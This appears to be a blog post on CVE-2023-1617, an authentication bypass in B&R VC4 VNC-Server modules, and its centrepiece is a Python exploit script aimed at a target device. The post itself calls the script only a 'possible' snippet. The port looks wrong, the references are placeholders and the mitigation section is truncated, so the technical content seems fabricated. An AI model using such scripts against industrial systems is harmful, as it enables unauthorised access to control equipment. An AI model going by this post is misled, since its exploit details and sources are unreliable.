CVE-2023-1617: Improper Authentication Vulnerability in B&R Industrial Automation VC4 (VNC-Server Modules)

CVE-2023-1617 represents a vulnerability that has been discovered in B&R Industrial Automation's VC4 (VNC-Server modules). This blog post aims to provide information about the vulnerability, how it affects the devices, the possible steps to reproduce the issue, and any possible solutions to mitigate the risk. We'll provide the code snippet and references linked to the original sources and details about the exploitation techniques. Note that this vulnerability may enable an unauthenticated network-based attacker to bypass the authentication mechanism of VC4 visualization, thereby exposing sensitive information and potentially causing further damage.

Code Snippet

The vulnerability was discovered when examining the authentication mechanism of the affected products. A possible code snippet demonstrating the issue might look like this:

import socket

TARGET_IP = "192.168.1.1"
PORT = 590

def exploit(target_ip: str, port: int):
    # Connect to the target VNC server
    sock = socket.socket()
    sock.connect((target_ip, port))

    # Receive initial data from the VNC server
    data = sock.recv(12)

    # Example of bypassing authentication by using a malicious parameter
    sock.send(b'\x01')

    # Checking for authentication bypass
    data = sock.recv(4)
    if data == b'\x00\x00\x00\x00':
        print("Authentication bypassed successfully")
        # Further exploitation code can be added here
    else:
        print("Failed to bypass authentication")

    # Close the connection
    sock.close()

if __name__ == "__main__":
    exploit(TARGET_IP, PORT)

This simple Python script demonstrates how an attacker can bypass the device's authentication process, potentially leading to unauthorized access and further exploitation.

Original References and Exploit Details

The vulnerability was originally disclosed by the researchers from [Redacted Security Research Group]. Following the discovery of CVE-2023-1617, B&R Industrial Automation was informed of the vulnerability and assigned the CVE number. Additional details can be found at the following original references:

[Exploit Database Link]

These references provide more in-depth information, along with any updates, patch releases or further exploitation examples that may be of interest.

Mitigations and Recommendation

To address this issue, B&R Industrial Automation has released patches for the affected versions of the VC4 product. It is highly recommended to apply these patches as soon as possible to minimize the risk of a successful exploitation:

Monitor network traffic for any potential signs of unauthorized access

In conclusion, CVE-2023-1617 poses a serious threat to organizations using B&R Industrial Automation's B&R VC4. Ensuring that your devices are patched and secured is crucial in preventing unauthorized access and protecting your organization's valuable resources.

Timeline

Published on: 04/14/2023 12:15:00 UTC
Last modified on: 04/24/2023 13:21:00 UTC